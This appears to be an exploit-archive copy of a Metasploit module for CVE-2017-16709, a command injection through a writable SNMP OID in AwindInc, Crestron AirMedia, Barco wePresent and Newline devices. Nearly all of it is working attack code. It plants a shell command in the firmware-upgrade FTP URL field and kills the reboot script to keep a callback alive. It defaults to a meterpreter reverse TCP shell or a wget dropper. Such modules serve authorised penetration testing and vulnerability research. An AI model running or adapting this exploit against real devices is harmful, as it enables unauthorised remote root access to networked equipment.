AwindInc SNMP Service Command Injection

2019.09.05
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SNMPClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "AwindInc SNMP Service Command Injection", 'Description' => %q{ This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. A valid SNMP read-write community is required to exploit this vulnerability. The following devices are known to be affected by this issue: * Crestron Airmedia AM-100 <= version 1.5.0.4 * Crestron Airmedia AM-101 <= version 2.5.0.12 * Awind WiPG-1600w <= version 2.0.1.8 * Awind WiPG-2000d <= version 2.1.6.2 * Barco wePresent 2000 <= version 2.1.5.7 * Newline Trucast 2 <= version 2.1.0.5 * Newline Trucast 3 <= version 2.1.3.7 }, 'License' => MSF_LICENSE, 'Author' => [ 'Quentin Kaiser <kaiserquentin[at]gmail.com>' ], 'References' => [ ['CVE', '2017-16709'], ['URL', 'https://github.com/QKaiser/awind-research'], ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], 'DisclosureDate' => '2019-03-27', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => { 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'} } ], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'CmdStagerFlavor' => %w[wget], 'Type' => :linux_dropper ] ], 'DefaultTarget' => 1, 'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'})) register_options( [ OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']), ]) end def check begin connect_snmp sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s print_status("Target system is #{sys_description}") # AM-100 and AM-101 considered EOL, no fix so no need to check version. model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first case model when 'AM-100', 'AM-101' return CheckCode::Vulnerable else # TODO: insert description check for other vulnerable models (that I don't have) # In the meantime, we return 'safe'. return CheckCode::Safe end rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError print_error("#{ip} Connection refused.") rescue SNMP::UnsupportedVersion print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") rescue ::Interrupt raise $! rescue ::Exception => e print_error("Unknown error: #{e.class} #{e}") ensure disconnect_snmp end Exploit::CheckCode::Unknown end def inject_payload(cmd) begin connect_snmp varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd)) resp = snmp.set(varbind) if resp.error_status == :noError print_status("Injection successful") else print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") end rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError print_error("#{ip} Connection refused.") rescue SNMP::UnsupportedVersion print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") rescue ::Interrupt raise $! rescue ::Exception => e print_error("Unknown error: #{e.class} #{e}") ensure disconnect_snmp end end def trigger begin connect_snmp varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1)) resp = snmp.set(varbind) if resp.error_status == :noError print_status("Trigger successful") else print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") end rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError print_error("#{ip} Connection refused.") rescue SNMP::UnsupportedVersion print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") rescue ::Interrupt raise $! rescue ::Exception => e print_error("Unknown error: #{e.class} #{e}") ensure disconnect_snmp end end def exploit case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, opts = {}) # The payload must start with a valid FTP URI otherwise the injection point is not reached cmd = "ftp://1.1.1.1/$(#{cmd.to_s})" # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and # keep our reverse shell opened :) cmd << "$(pkill -f /etc/reboot.sh)" # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad cmd << "A" * (255-cmd.length) # we inject our payload in camFWUpgradeFTPURL print_status("Injecting payload") inject_payload(cmd) # we trigger the firmware download via FTP, which will end up calling this # "/bin/getRemoteURL.sh %s %s %s %d" print_status("Triggering call") trigger end end


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